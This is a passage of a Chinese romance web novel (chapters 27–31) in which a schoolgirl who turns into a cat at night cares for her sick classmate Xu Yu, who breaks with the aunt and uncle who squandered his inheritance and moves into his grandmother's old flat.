温热的气流不受控制地拂过沈初柠敏感的耳廓。
沈初柠僵在原处,连呼吸都不自觉放轻。
许屿的手臂不得不环过她的腰侧,撑在她身后的隔板上,为她隔出一小方不至于太过拥挤的天地,这个姿势却让她更深地嵌入他的怀抱。
柜门外,沈天都的脚步声由远及近。敲了两声门没反应,打开,却发现房间并没有沈初柠的身影。
“柠柠?”他喊了声沈初柠的名字,却没有得到回音。
柜门外,沈天都的脚步声在房间里来回走动,偶尔还能听到他翻动书页的声音。
每一丝动静都让怀里的少女轻轻一颤,那细微的战栗透过相贴的衣衫,清晰地传递给他。
就在这片紧绷的寂静中,许屿不由喉结滚动。他低下头,淡色的唇几乎要触到她泛红的耳尖,不过也仅是止步于此。
会吓到她,需要徐徐图之。
27. chapter27
沈天都在房里转一圈没见着人,也没等着人就走了。
等房门关上之后,过了一分钟左右,沈初柠才从衣柜里探头探脑地出来。
许屿随后从衣柜中迈出。
相较于沈初柠的慌乱,他显得镇定许多,只是校服衬衫的领口被沈初柠刚才紧张时无意识攥得有些发皱。
沈初柠不要意思地笑笑,又怕外面沈天都听见声音,只好小声说,“抱歉啦。”
沈天都电话打不通,发信息问沈初柠在哪,沈初柠随便找相册找了几张超市的图片,说在小区旁边买点东西吃吃,马上回来。
沈天都让她小心一点。
沈初柠也不清楚明明沈天都现在在外市,怎么突然回南川了。不过想想就猜到原因,大概是因为她在南川人生地不熟,担心她的安危。
总不能一直待房间里不出去,反正许屿大概是在沈天都走前出不去了。
沈初柠拿着一罐可乐,开门,边走边喝,去沈天都面前露露脸,昭示她已经回来。
沈天都躺沙发上,突然见沈初柠从房内出来。差点没反应过来。客厅离玄关处近,怎的刚刚没见着沈初柠,她就直接回房里去?
不过他今天应酬喝了酒,脑子也不太清醒。
沈初柠给他倒了水。
沈天都一喝醉就话多,不得已,沈初柠又陪他谈天说地聊学习。
等过了快半小时,才得以解放回屋里去。
房间不再是刚刚乱糟糟的样子,被子和套枕被整齐铺好,买来的东西也摆放整齐。
她觉得许屿还是太权威。
不过沈初柠在这不久,并不清楚这间房子的隔音效果怎样,怕意外,沈初柠很小声地和他说:“许屿,你好厉害!”
音量低但胜在语气强烈。
许屿“嗯”了声,转瞬又立即被沈初柠塞进衣柜。原因无他,沈天都又在门外敲门。
把橱门赶紧关上,沈初柠:“请进。”
她坐在床上假装很认真看书的样子。
沈天都推门进来,身上还带着酒气。他在床边坐下,“柠柠,在看书啊?”
沈初柠点头。
“好,好……”沈天都点点头,眼神有些迷离。他沉默片刻,声音突然哽咽:“肯勤奋就好,你妈当初就是我们班的班长。我就知道你遗传了她,聪明!我怕没把你养好,以后去了之后她怪我。”
沈初柠鼻子也跟着一酸,他妈一直是家里的禁忌话题,沈天都很少主动提起,因为每次都会哭。可能是觉得这样脆弱不行,要以身作则。
“没事。”沈天都抹了把脸,“就是突然觉得,时间过得真快。你小时候摔一跤都要哭半天,现在都会自己跑来南川追星了。”
他说着说着,声音越来越哽咽:“要是你妈妈还在,肯定又要说我不会带孩子……连你什么时候长大了都不知道……”
沈初柠本来是也跟着沈天都情绪低落,现在见他止不住的眼泪,连忙拿纸巾给他擦。
沈天都吸吸鼻子,说没事。出了门,回房间自己躺着。沈初柠跟着过去,给他盖了被子,才回房间。
回去时许屿已经从衣柜里出来,见沈初柠眼眶微红。
他眉头微蹙,“怎么了?”
沈初柠摇摇头,走到床边坐下,手指无意识地揪着被角:“我想我妈妈了。”
沉默在房间里蔓延。
许屿没有催促,只是走到她身边坐下,安静地听着。
过了好一会儿,沈初柠才重新开口。
“我妈在我出生没多久就去世了。我爸以前说,她是个很厉害的外科医生,主刀过很多高难度的手术。”
“有一次急诊,她接诊了一个重伤的患者。家属隐瞒了患者有艾滋病的情况。职业暴露,后来才知道患者感染的情况,不过已经来不及阻断治疗了。”
她深吸一口气,努力平复情绪:“那时候,她已经怀着我好几个月了。”
没有感染上。
许屿的呼吸微微一滞。
“后来……”沈初柠的声音几乎低不可闻,“她坚持把我生下来,自己却……”
话没说完,眼泪已经顺着眼眶滑落。沈初柠吸了吸鼻子。
她其实没什么关于她妈的记忆。一个婴儿能记得多少,也不敢在家人面前提及,怕他们想起难过。
“她很伟大。”许屿说。
他垂眸用纸巾给沈初柠擦拭眼泪,声音低沉且温柔:“你是她留在世界最好的礼物。”
“她很爱你。”
——
许屿隔天因为生物钟而醒。
睁眼的时候沈初柠还在睡。整
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个人蜷在被子里,只露出半个毛茸茸的脑袋,呼吸轻浅。
由于沈天都住隔壁,他暂时也出不去。沈初柠睡床,他睡沙发。
郁任发信息问他昨天怎么没来网吧。消息显示昨晚凌晨一点。
他们项目现在是收尾环节。弄完之后会有一笔还算不错的资金入账。
许屿:[今天过去。]
怕吵到沈初柠,许屿放轻脚步去了卫生间洗漱。每个房间都有独立的浴卫,倒也方便。
从卫生间出来时,他恰好听见门外传来轻微的脚步声。许屿反应极快,几乎是瞬间就退回了门后的阴影里。
房门被轻轻推开。
沈天都见女儿还在熟睡,轻声进来。他站在床边,仔细地帮沈初柠掖了掖被角,又将她露在外面的手塞回被子里。
做完这些,他站在原地静静看了女儿片刻,才转身离开,小心翼翼地带上房门。
许屿在门后一动不动,直到听见沈天都的脚步声远去,才缓缓松了口气。
他走到床边,看着沈初柠恬静的睡颜。晨光透过窗帘的缝隙洒在她脸上,睫毛在眼下投下一小片阴影。
他想起昨晚她哭泣的模样,他轻手将被子又往上拉了拉。
沈天都给沈初柠请了半天假,又将司机留在南川,让他下午送沈初柠回去。
只剩个司机沈初柠倒没再特意掩饰许屿的存在,到时候问就是一起来的同学,顺便坐个顺风车回去。
不出意外的,当沈初柠和许屿一回到教室,随之赶来的江涛狠狠将沈初柠训斥一顿。
沈初柠其实有点不服气,她小声问:“为什么不批评许屿?”
倒不是要拖许屿下水,问题就是实在不公平。而且反正最后江涛也会给许屿找借口,或许都懒得找,直接宣布他无罪。
果不其然,江涛又训她:“人家全校第一,你考个全班第一我就不骂你。”
这就是歧视!
赤裸裸的歧视。
但沈初柠生性窝囊,“哦,做不到……”
结果就是两个人一个写两千字检讨,一个写两百字报告,说明昨晚的原因。大抵江涛也知道,沈初柠的两千字检讨估计全是流水账,围绕着我错了,下一次不再犯错了。
但这个“一”等同于“亿”。毫无诚信度可言。
28. chapter28
许屿病了。
这次真病。
有点咳嗽。沈初柠觉得是他在南川那晚睡沙发的原因。
隔天就是周六,沈初柠想着来回奔波总是累的,也许病情加重。
从药店给许屿买了感冒药和止咳糖浆,也不知道他那边有没有。反正有效期很久,多屯点也行。
去东区旧城找了许屿,按照之前走的路线。沈初柠敲门的时候看见李秀兰,才想起这一号人物。
之前把她给忘了……
开了条缝,李秀兰皱着眉打量她:“找谁?”
“阿姨好,我找许屿。”沈初柠有礼貌地喊人,她举起手里的药袋,“听说他生病了,我来送点药。”
记忆中李秀兰并不好相与。
果然李秀兰的脸色立刻沉了下来:“用不着你操心。”
说着就把门给关上。
这是沈初柠第一次被人拒之门外。整个人还挺懵。
她只好打字和许屿说,她到了,在门外。
消息发出去后,沈初柠站在斑驳的楼道里,听着门内隐约传来女人尖锐的说话声,心里七上八下。
许屿站在门口,身上只穿了件单薄的灰色毛衣,脸色比平时苍白几分,唇上没什么血色,只有眼尾泛着不正常的潮红。
“你怎么来了?”他的声音带着明显的鼻音,比平时低沉沙哑。
本来许屿已经和沈初柠发过消息说这两天请假。
不过沈初柠想想近期他花销的有些大,应该需要一些补给几,就让主动过来写作业。好歹是赚回一些。
“找你写作业呀。”
许屿咳嗽几声,楼道有冷风灌着吹,有些冷。
沈初柠鼻尖泛着粉,大概是冻的。
他开门让沈初柠进来。
李秀兰在一旁冷眼看着,突然阴阳怪气:“现在的小姑娘都这么上赶着往男生家里跑?”
许屿蹙眉,侧身挡住李秀兰的视线,正准备开口。
沈初柠本来就不是个受气包。
她从他身后出来,用魔法打败魔法,反正许屿这个婶婶对他一点也不好,她也挺不喜欢这个人:“对呀。我不仅去男生家,还去女生家,阿姨你怎么不去?不会是性格太差没人和你交朋友吧?”
李秀兰自认好歹是个长辈,没见过谁那么没规矩的。
她正要开口骂,眼神甩过去,却见许屿目光沉静地看向她,李秀兰所有声音都卡在了喉咙里。
她下意识地后退了半步,一股寒意顺着脊椎爬了上来。
以前仗着长辈身份作威作福,瞧着许屿也没什么反应,更嚣张跋扈了些。如今他这气势一来,李秀兰张了张嘴,到底是没敢再说什么。
——
沈初柠跟着许屿去他卧室。
她不是第一次来这,无论是做猫还是做人。
刚一进门,从床底下就探出个小猫,沈初柠认得,算是半个她?
今天周六,许屿把它从宠物店里接了回来。人与猫的病菌不互通,倒也不怕它被传染。
狸花猫并不认生,算是第二次见面,见到沈初柠之后朝她“喵”了声,打了招呼,就自主去自动放食机那边等饭。
沈初柠醒的晚,后面又是洗漱又是吃饭,来这已经是中午。
“有什么事?”他伸手拿过沈初柠提着的重物放桌上,随口问道。
不像以前说话总带着拒人于千里的疏离,只是寻常疑问。
“找你来写作业呀。”
沈初柠从包里翻出一沓试卷向他展示,是老师布置的家作。
许屿正欲说着什么,又没忍住咳了起来。
“感觉你这次病得好严重的样子。”沈初柠正站在他身旁,“你吃药了吗?”
许屿“嗯”了声,没多说什么,站的离沈初柠远了些防止再把感冒传染给她,“你先回去,这里病毒多,不会的地方拍照片给我。”
沈初柠又不是什么真好学的性格,来这写作业不过就是一措辞。她向来把不想听的话当成耳旁风。
许屿屋内算是一眼可见是干净,字面上的意思,基本没什么多余东西,药瓶都不见得一个。沈初柠也不知道他说的“嗯”是真是假,只是庆幸还好带了药。
见许屿眼里泛着红,沈初柠朝他凑近了些,踮起脚抬手去摸他额头的温度,触手一片滚烫。
许屿因她突然的触碰微微一怔,却没有躲开。他垂下眼睛,长睫在苍白的脸上投下淡淡的阴影。
“要不我们还是先去医院吧,感觉烧的很厉害?”
“不用。”
他心里想的是没必要,但感觉这样回答会惹面前的女生不开心。
生病发烧会影响思维,大抵他现在是跟着本能反应。
沈初柠过来时李秀兰就是在做午饭,几个菜一个汤,没多久就做好。隔壁传来她敲门的声音,喊许格致出来吃饭。
许屿这边倒是没什么声响。李秀兰对刚刚许屿对她的不尊重行为怀恨在心,反正少吃一顿饭也饿不死。
倒是许格致提及一句,怎么没看许屿?出去了?
就被李秀兰骂了回去,赶紧吃,与其想其他人还不如把你成绩弄弄好。
屋里隔音差,隔着门都能听见外面清晰的声音。
换以前沈初柠还会想为什么会有人对许屿这样,但经过这么些天当猫的经历早就习以为常。看不惯,但毕竟是别人的自主行为,改不了。
这或许就是她百般对许屿包容的原因?
沈初柠从书包里拿出保温盒,是家里厨娘做的饭,包括鸡汤之类。
临时起意,有考虑到如今的处境。这不?还好她有先见之明。
许屿看着她从书包里把保温盒一件件拿出又打开,十分有情商地主动解释在家里没来得及吃饭,然后亮着水汪汪的眼睛诚挚邀请他一起来用餐。
保护他“脆弱又敏感”的自尊心。
许屿并没有戳破她善意的谎言,也没再起让沈初柠回去的心思。
他的确是自私,作为人的劣根性,生病时他也很难放开这炙手可得的温暖。
只是敛眸帮她把剩下的盒子打开。
沈初柠是吃饱了来的,夹了几筷子就暂停。双手支着脑袋让许屿多吃点,说这些零零总总的背着可重啦,不然又要受重带回去。
又鉴于她带的饭菜确实事多,装得满满当当,品类也足。怕许屿听了她的
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话吃撑,后补充要是实在吃不下也没关系,反正不行来回也就一点路,多数是车在走。
许屿听她在旁边叽叽喳喳像个快乐的小雀鸟。
想到什么,沈初柠又从书包最里面的夹层掏出一盒子。里面整齐地摆着几块不同口味的慕斯蛋糕,是准备的下午甜点。
她在家时脑袋一抽,多装了点过来。本来是打算和许屿的婶婶他们一起分享的,毕竟她从小的观念都是化干戈为玉帛,又受点家里沈天都商人的思想,以小蝇得大利,若是以此能让他们稍微善待一点许屿,或许给一点好脸色也行,何乐而不为?
不过经历刚刚那一遭,沈初柠可彻底绝了这心思。许屿从小经受的痛苦她看不见,但之前竟然还想朝首号敌人示好,简直就是蠢货一样的行为,背叛革命的组织,被圣母思想一只摧残的典范!
她打开盒子,递给对方:“许屿,你尝尝这个嘛?我特意拜托陈姨做了蛋糕带给你,味道超级好!”
像个金牌推销,整场用餐沈初柠饭没吃多少,一个劲地让许屿多吃,从这道糖醋排骨的排骨选地到所用的油盐酱醋解释得清清楚楚,说得好像是她亲手做的一样。
小公主会做饭吗?
不见得。
十指透着晶莹的白,泛着点粉。
也不应该碰这些。
沈初柠见他貌似无动于衷的样子,又补充性地说:“陈姨做的蛋糕很好吃的,比我做得好多啦,奶油挤的也很好看,我上次想过了,你过生日送那样一个蛋糕好像是不太行,下次还是让陈姨帮忙做一个或者直接去买更好一点。”
她虽然觉得与许屿差不多已经和好,但是之前这事一直没有说开。有些事情沈初柠习惯性说明白,这样以后相处起来就可以心无芥蒂地一直当朋友。
当然实质上,她只是原谅了许屿当时的不礼貌行为而已。
不过话也就这么一说,沈初柠心底里并不觉得她上次做的蛋糕比不上其他的礼物。
因着刚沾过汤渍,许屿望向她唇一张一合,透着健康的粉与微亮。
掩去眼底的潮涌,移开视线,他低声:“没有,味道很好。”
沈初柠没反应过来,是说这次饭菜还是陈姨的蛋糕。
像是察觉她茫然的反应,许屿开口:“上次的生日蛋糕。”
沈初柠眨眨眼睛,“你吃啦?”
“嗯。”
沈初柠是真没想到许屿会尝,毕竟当时他的语气可算不上好。她也是怒极,好心当成驴肝肺。
不过像是许屿对她有天生的压制能力一样,她当时连“爱吃不吃”这种狠话都没放,把蛋糕强塞许屿怀里之后,一个人咚咚咚地往回走。
她以为蛋糕最终的归宿是旁边的绿色大垃圾桶。
算是意外之喜。
为什么会觉得惊喜?沈初柠意识到这个情绪时有些自我怀疑。
明明收下别人的礼物再进行感谢是再正常不过的举动。糟践别人心意才是很过分的行为。
但许屿好好看。
沈初柠想。
只是唇角轻勾,稍稍露出些许笑意。周遭的一切都仿佛黯然失色。好吧,虽然周围的陈设也确实没什么能看的。
29. chapter29
沈初柠在许屿这老老实实待了一下午,写完作业后才回家。
好歹做事要有始有终,毕竟来时借口是找他写作业……
也不算太坏。比起以前那些在周一凌晨开始起床赶作业的日子,这种作业写完之后随意玩的安心感,的确是安全感十足。
实验班作业大多数动脑,抄写几乎为0。有许屿在旁边,沈初柠完成地很快,等傍晚时,她就被司机接回去了。
既然这个借口用完,临走前,沈初柠就直接开门见山:“许屿,我明天还能来找你嘛?”
被无情拒绝。
而后,像是解释,又在安抚,许屿咳嗽之后开口:“我明天有事。”
沈初柠点头:“好吧。”
她其实也就随口一问。之前想着许屿生病,大概是没人照顾的。
他似乎对自己很差。养猫时很精细,无论是猫粮还是猫窝猫用品都是最好的,而他从始至终除了必须用品的更迭,都没有给自己买过什么东西,就算是买,材质都是勉强过得去。
以至于沈初柠思考过他有没有给自己买药或者去医院看过病。
周五放假许屿就将狸花猫接回了家,沈初柠变成猫的时候就有找过房间里存在药的痕迹。可惜无所获。
可能怕猫看见不小心吃掉藏起来了?
只不过沈初柠晚上在许屿睡着时候偷偷爬上他的床,用爪垫摸过他的脸,滚烫。
于是乎在第二天,她只能提着一大袋子前来拜访,不外乎胃药,感冒灵,止痛药等,应有尽有以防万一。
——
许雷今天回来得早,说是公司十年庆,给所有员工带薪休假两天,包括保安。
李秀兰就多买了点菜。
到底是许雷的亲侄子。虽表现得横鼻子竖脸的,到底晚上还是让许屿出来吃饭。
只是一想到上午那事,李秀兰就憋屈。在她自个儿家都能给自己找气受,还偏偏当时没敢再支声,她李秀兰什么时候有这窝囊气!
饭桌上,李秀兰扒拉了两口饭,越想越不是滋味,把筷子往碗上一搁,阴阳怪气地开了口:“要我说,现在有些小姑娘家家的,是真不懂规矩。大白天的就往男生房间里钻,像什么样子!”
许雷皱了皱眉,没接话。
许格致不明所以地抬头。
李秀兰见没人搭腔,更是来劲:“要是个懂事的,就该知道避嫌。这要是传出去,像什么话?不知道的还以为我们家家教不严呢。”
许格致听得一愣一愣的:“妈,你说谁啊?”
“还能有谁?”她斜眼撇了许屿:“他那同学。全身上下穿得倒贵,那书包我看着都抵得上你爸一个月工资。,小小年纪倒是虚荣,也不知道钱从哪来的,指不定背着人做什么见不得人……”勾当!
“许屿今天……”在家啊?
母子俩各说各的,只是话音未落,就听有筷子“啪”的一声放于桌上。
声音算不上大,但如若对象是许屿,那可就有一番说辞。
要知道在许格致眼里,许屿向来是荣辱不惊的那个。
他记得小时候,有亲戚送了他们家两盒在瑞士买的巧克力,说是一个给他,另一个给许屿。
不过两盒都被李秀兰收了起来放厨房柜子里,等许屿不在时,她才喊了许格致过去拿了盒给他吃。
晚餐过后,李秀兰却发现另一盒也消失。当即便认为是许屿偷的,打了一巴掌让他滚出去思过。
当时寒冬腊月的,许格致半夜都没睡着。因为另一盒是他拿的,一盒吃完觉得不够,又怕李秀兰不给。怕被说,李秀兰骂许屿的时候,他没承认。
许格致虽然对许屿不咋的,但好歹受过思品课,有点良知。快天亮了,实在觉得良心难安,跑主卧和李秀兰许雷承认错误。但对方继续睡着,也没什么表示。
还是许格致最后把许屿从屋外放进来。
后面这事不了了之,自始至终,许屿都没太大的反应,只是后面性格越发的生人勿近。
这么多年,这还是许格致第一次看到他所谓堂哥显露出的情绪波动。
而一向强势惯了的李秀兰,哪还能让许屿给她脸色看,当即“啪”的一声把筷子重重摔在桌上,震得碗碟哐当作响,破口大骂道:“给谁脸色看呢?”
许雷被吓了一跳,连忙打圆场:“好好吃饭,这是干什么……”
却听许屿语气冷淡,“我明天搬出去。”
许雷话语止住,他转身去看许屿。
而李秀兰一听这话,像是被彻底引爆。她手指着许雷,指桑骂槐,嗓音尖锐:“我当初说什么来着?就说这白眼狼养不熟,你倒好说什么都要把他接过来。现在好了,翻脸不认人了,现在翅膀硬了就要飞了!”
大抵是觉得不解气。
她转向许屿,那些积压多年、连她自己都未必全然清楚的怨毒,终于找到了倾泻的出口,声音因为激动而扭曲颤抖:“跟你那个没良心的爹妈一个德行!你爸当年就是……”
“够了!”
一直沉默的许雷猛地站起身,脸色铁青地打断她。他从未用这样严厉的语气对妻子说过话。
李秀兰被他吼得一愣,随即更加恼怒:“我难道说错了?他爸妈当年……”
“妈……”死者为大,许格致也觉得李秀兰这话不太妥当。
不说还好。他这一说话,李秀兰像是找到了新的突破口,怨恨无以复加,她噙着泪:“你们许家一个个……”
“三百四十七万。”
算是碰到许屿的逆鳞。他语气无波无澜,但冒着森森寒意。
既然提及故人往事,那不妨把表面那层虚伪的皮肉撕扯的更彻底一些。
“什么?”
听及这个,李秀兰顿住。一时口中的话就戛然而止。
这是一个极敏感的数字。李秀兰自然知道是什么意思。又或者说许雷与李秀兰都知道。
“我父母当年的赔偿金以及那套被卖掉房子的所有钱款。”
李秀兰霎时变了脸色,刻薄的脸一寸寸地憋红,不是因为羞愧,对许屿,她早没这种情绪。而是深觉对方是个白眼狼,如今这都要
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找她清算。
有些人就是这样,一直退让得不到任何宽宥,反倒当开始维护自己权益时,对方觉得你得寸进尺不识好歹又面目可憎。
李秀兰猛得站起身,恼怒异常,胸脯剧烈起伏,甚至指着许屿的手指颤抖得厉害:“好啊!你算!你好好算算!没有我们,你当年一个几岁的孩子能守得住那笔钱?能保得住那套房子?早就被那些亲戚瓜分干净了!要不是我们收留你,好吃好喝地供着你,你现在能上这么好的高中?能在这和我耀武扬威?!”
忘恩负义骂的清清楚楚。
但显然她的这番话并不成立。
当年许屿父母留的那笔遗产如今也没归还到许屿手上,一部分被许雷夫妇花了大半买了如今这房,虽算不得好地段,但那会房价贵得很。剩下的用来投资买股票。不劳而获多了,显然有了惯性与侥幸心理,但没这个本事,最后也就全部亏空。
而说是好吃好喝供着他,那更加是无稽之谈。勉强给个落脚点与温饱,如若不是许屿成绩好,南华免除学杂费已经额外给出奖金,只怕是如今连学都上不了。
这么多年下来,留给许屿的,也只有他祖母的那套房。若不是已经填了许屿的名以及地段占地面积问题,李秀兰连这也得让许屿吐出来。
许屿语气淡淡,基本没什么起伏地陈述这一桩桩事。
话挑得太明白,彻底将撕开了尚且能称为一个人的面皮,将这些年李秀兰的刻薄,许雷的伪善显露得一干二净。
他面无表情地看向他们,若真有什么养育之恩,那也是还清。
他开口:“今晚我就搬走。”
许屿在这的东西极少,几件衣服一书包,电脑没买,一是因为价格,二是哪怕买了也会被李秀兰用借口拿走,他写程序之类基本都去学校附近的那家网吧。不过后面大概可以考虑买一个。
相反,狸花猫的东西居多。几乎塞满了他整个床底,原本只需要带个行李箱走,现在看来得喊个搬家公司来。
狸花猫蹭着他的裤脚,许屿望着它眼神放柔和,原来不知不觉间他也有了羁绊。
东西很快就清理好,许屿的物件花了三两分钟,狸花猫的花的时间也不多,都是大件,什么喂食器烘干机猫窝之类,哪怕是玩具也容易整理全。
李秀兰换了场地,原本剑拔弩张的,现在坐沙发上哭。边哭边骂,骂许屿没良心,骂他白眼狼,又骂起许雷他娘偏心眼,她端屎端尿伺候了那么久,到头来什么也没给他们留下,反倒给许屿了间房。
来来回回那几句话,就是不停。
搬东西时,许屿有时候与许雷对上视线。
对方难得绷张脸,倒不像以前那懦弱无能的样。
比起李秀兰,许屿一直将他看得更轻些。
许雷本质上就是个自私的男人。
对侄子遭受的欺负不吭声,对妻子的压抑抓狂又视而不见。把自己包裹成一好人,如今被戳破了假面,危害到了他自己利益,才开始在意。
令人作呕。
许屿漠然移开视线。与他无关。
30. chapter30
最后倒是许格致来送许屿一程。
虽是从小一起长大,两人的关系却算不上好。
能好就怪了。试问一直有那么个人成绩好对自己还爱答不理,关键他妈还天天在耳边唠叨成绩什么时候能比许屿好。
无论谁都得疯好吧。
许屿是他童年的噩梦,到现在也不曾改。
但说实话许格致也挺愧疚,年纪小不懂事老欺负许屿。他爸妈拿了人家的好也不曾善待,反正挺难说。
如今闹这一通,以后大概是互不联系。
最后临行前,许格致才支支吾吾说了句“路上小心”。
许屿轻飘飘看了他眼,没回。
——
许奶奶留的房在宜城西区,正好和李秀兰他们家一西一东,隔得远。
搬家公司价钱给的便宜,其实就是个货拉拉,将东西放门口就算任务完成。好在许屿东西也不多。
用钥匙打开门。
吱呀一声,老旧的木门被推开,扬起细微的灰尘。
房子确实很小,二三十平米的格局,墙壁因为年久失修而泛黄,墙角还留着雨渍的痕迹。不过不算太脏,仅是一个学期没有回来,只是有点尘埃,胜在离开前用防尘的白布盖了下。
狸花猫到了新的环境倒也没应激,睁了个圆溜溜的大眼望着周围,许屿将它从航空包里放了出来熟悉环境。
之后就将屋子先擦净整理。
——
作业写完了的沈初柠回到家,自然是心无旁骛地玩起了游戏。秦宋周曜组的局,倒是虞灿和申逸明也加入了进来。
虞灿很少玩这类游戏,在KING里段位自然也就不高,五个人合计打不了段位,就随便玩几把娱乐局。
末了申逸明临时有事,只能提前退出。少了一人也就少了很多乐趣,娱乐小分队原地解散。
秦宋问虞灿作业写完没有?都是实验班,教学进度差不多,一些家作布置是一样的。
但虞灿最近报了个补习班,挺德高望重一老师,教学质量很好,名额基本是要靠抢的,家里就托关系送她进去。周六下午半天都在上课,基本上学校布置的作业是没碰。
沈初柠倒是没想过她有一天还能朝秦宋他们嘚瑟说,她的作业早就写完。
这感觉还怪爽。
想到这,沈初柠切换了屏幕。点到和许屿的聊天界面。
沈初柠:[猫猫探头jpg.]
沈初柠:[许屿,你发烧好一点了吗?]
许屿正在换灯泡。很久不住,电路老化,屋里所剩无几的电器也有着报废的征兆。
听见手机里的消息提示音,他本无意搭理。但蓦地点开主屏,看见是沈初柠。
空出只手来,打字回。
许屿:[嗯]
沈初柠显然是给点阳光就灿烂的那种。倘若许屿当做没看见,她会一个人自得其乐。而要是对方给点反应,哪怕没提供什么情绪价值,她都能一个人发好长的话。
从病情说道药再联系到下午的提拉米苏味道,她说最近又发现一款超级好喝的草莓牛奶,周一带过去给许屿。又谈及晚上厨娘新学的韩餐,觉得味道一般般,还是中餐好吃一点。
昏暗的灯光下,许屿耐心地倾听。
老旧的灯座发出轻微的咔嚓声,新灯泡旋入的瞬间,柔和的光芒瞬间洒满整个房间。
光线勾勒出他冷峻的轮廓,由着手机上的消息,他的面容也不觉带了丝柔和。
虽知早晚会与许雷一家人分道扬镳,但曾经许屿没想过会这么早。
许屿自认冷心冷情。
又或者有些视金钱如无物的意思。
也许是当真有些顾念亲情,毕竟哪怕李秀兰许雷再怎么样,这世上他也只剩这几个亲人。
一个人若如浮萍飘零,总对世界没有归属感。所以之前无论如何,他也只是随波逐流与默认。算是另一种求生以及自我救赎。
只是如今有了在意的人,就像本身多了一层逆鳞。无论与否,便容忍不了别人说她的一句不是。
他喜欢她。
许屿在很久之前就知道。
她像是太阳,拥有过于充沛的同理心与近乎固执的温暖。没有人会不喜欢这样一个人,尤其对于鲜少感受到光遇热的许屿。
但他自知他内里的腐朽糜烂,不过只在外面过了层光鲜而已。
他畏惧沈初柠接触后害怕厌恶而仓皇逃离。
而在意就容忍不了失去。
与其这样都不如一开始便不曾拥有。
所以才在一开始而不断推拒以及糟践真心。
但没有接触过阳光的人,尚且还能忍受困囿于方寸之地。
而感受过的人,哪怕忍得了一时,也不会再甘心永囚禁于夜。
——
从东城区拿回来的属于许屿的东西很少。
有些缺的东西只能靠外卖买。不过西区位置更偏,很多家超市显示不在服务区范围内,不过近的超市也有,只是质量种类偏差偏少。
许屿也不在意这些就是了。
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>一个学期积攒了很多灰尘污垢,等彻底收拾完已经深夜。
零点刚过手机又收到一条提示音。
钱款到账的消息。
是月末。
一直和许屿交接的沈天都秘书,又转了笔这月的补习费用。
许屿近期项目款项已经到手,是一笔很不错的数字。大抵是不再需要沈天都给予的报酬。
但许屿并没有返还。
韬光养晦不宜漏锋芒,钱先放着就是了。
他目前需要的是一个合理的待在沈初柠身边的理由。
——
许屿搬家沈初柠隔天就知道了。
变成猫后,入眼的就是一陌生环境。吓得她以为不小心被哪个人贩子给抓走。
不过转身就看见许屿在身旁。坐在桌前写着什么,跳上架子里定睛一看原来是关于她学习的教案。
圆眼咕噜转一圈思考什么时候趁许屿不注意把这东西悄悄撕烂,然后就被对方拎着后颈那块肉提溜到地上,让她自己去玩。
沈初柠深觉方案可实行几率并不高,才放弃这个念头,迈着步子往周围打量一圈。
房间依旧不大,胜在东西少且摆放整齐,看起来一丝不苟的,很干净。
总的来说。比李秀兰那个杂物室好,起码有窗子,能透气,有阳光。
长时间待在密不透风的空间里,感觉迟早要抑郁。
至于为什么搬走,也没打算去问。总归不是因为什么好的原因,省的再让许屿联想起不好的事。
经过这么些天,沈初柠也算发现她变成猫的规律。睡着之后,有百分之八十的几率会变。
只能说老天就是一资本家,白天她要去上学,晚上也不曾忘记剥削她的休息时间。
不过托许屿的福,沈初柠这段时间成绩还真提高不少。只是还是倒一,但分数比之前告上许多。从前面的本一到211。
想来许屿是不太满意,提升那么多也没见着他稍微放松一二,基础给沈初柠打得差不多,就执着于提升。
沈初柠都感觉他比她还操心她的分数,教学任务一天天下来,她连个游戏都没时间打,只能抽空玩几把,其他交给代练。
有时候想起最初接近许屿的初衷。
似乎是想抄他作业来着。如果可以的话,帮她写作业也不是不行。
但现在来看,别说是抄他作业了,有许屿在旁边看着,抄别人作业都难。之前的所思所想完全就一个痴人说梦!
赔了夫人又折兵。
可恶!
31. chapter31
沈初柠性格懒散。个人没什么志向,有时候疼爱她的祖母也会为她咸鱼一样的人生态度感到好笑,非要督促一句做一下,不催完全就懒得动。
不过想想,这样也挺好。总比她那些老闺蜜们追求刺激玩命的纨绔孙子外孙强,好歹惹不了什么大乱子。他们也能给沈初柠兜底。
虽然嘴上总让沈初柠好好学习,但平时也就问个成绩,考好了包个大红包让再接再厉,没考好也包个大红包说下次加油。
当然,溺爱群组里没有许屿。
如果把许屿比作成一个洋葱,层层剥开,会发现严厉的包裹下,依旧是严厉。
有时候沈初柠真想在背后给他一套组合拳。要问及为什么不是正面,那就得谈及生物趋利避害的本能。
时间匆匆,连12月都快要落幕。
宜城地理位置奇妙,温度是骤降式递减,从薄款毛衣到厚款羽绒服的更替,仅仅只用了十几二十天的时间而已。
沈初柠是12月末出生,恰逢今年生日撞上了休息日。省的长辈特意过来给她庆生,毕竟年岁也大,来回奔波总是操劳。
周五早课时她便和许屿请了假,说这周末不用补习,她要去爷爷奶奶家。
许屿自然是知道她生日的事情。
沈初柠是怕冷的。冬日不像夏天,除了极端寒冷的情况下,学校几乎不允许开空调,温度一上来学生就容易犯困,还学什么习?
她只好整个人全副武装,裹在厚厚的白色羽绒服里,脖子上围着一条蓬松的米色围巾,几乎要把半张小脸都埋进去。
瑟缩在宽大的围巾里,只露出一双水润的琥珀色眼睛,眨巴眨巴地望着许屿。
因为围巾的遮挡,说话的声音听起来闷闷的,但依旧能感受到沈初柠昂扬的情绪:
“这周就不能上课啦,不过第二天就是周一,我奶奶家的厨娘做饭特别好吃,那个可乐鸡翅还有菠萝咕噜肉感觉是最最好吃的,我周一带给你尝尝好不好?”
许屿看着她头上那顶浅灰色的毛绒帽子,帽顶还缀着两只毛茸茸的猫咪耳朵,随着动作微微晃动。他“嗯”了声。
听到许屿的答复,沈初柠眉眼弯弯一乐。动作起伏一大,冷空气争先恐后地往她脖子一钻。沈初柠立刻认输,随后就继续缩在角落。
讨厌冬天。
不过心情超好。她没有说的是生日是在周末,与周六补课并不冲突。但是谁家好人生日将至,还想学习呢?只能稍微隐瞒一下。
——
沈初柠家老宅离市中心远些,是半山别墅,胜在环境清幽,老人家总不喜欢城市的过于喧嚣的。
沈初柠从小到大对老宅最深刻的印象是那儿有棵年岁挺大的桃树,活的比她还久。
沈初柠小时候比现在好动得多,整天胡作非为,是当地一带有名的小霸王,皮起来人神共愤的。在老宅整天爬树眺望远方,她爸每次见到都提心吊胆,但对她又凶不起来,好言好语在下面劝,沈初柠可不听,玩累了才慢吞吞跳下来让沈天都接着。
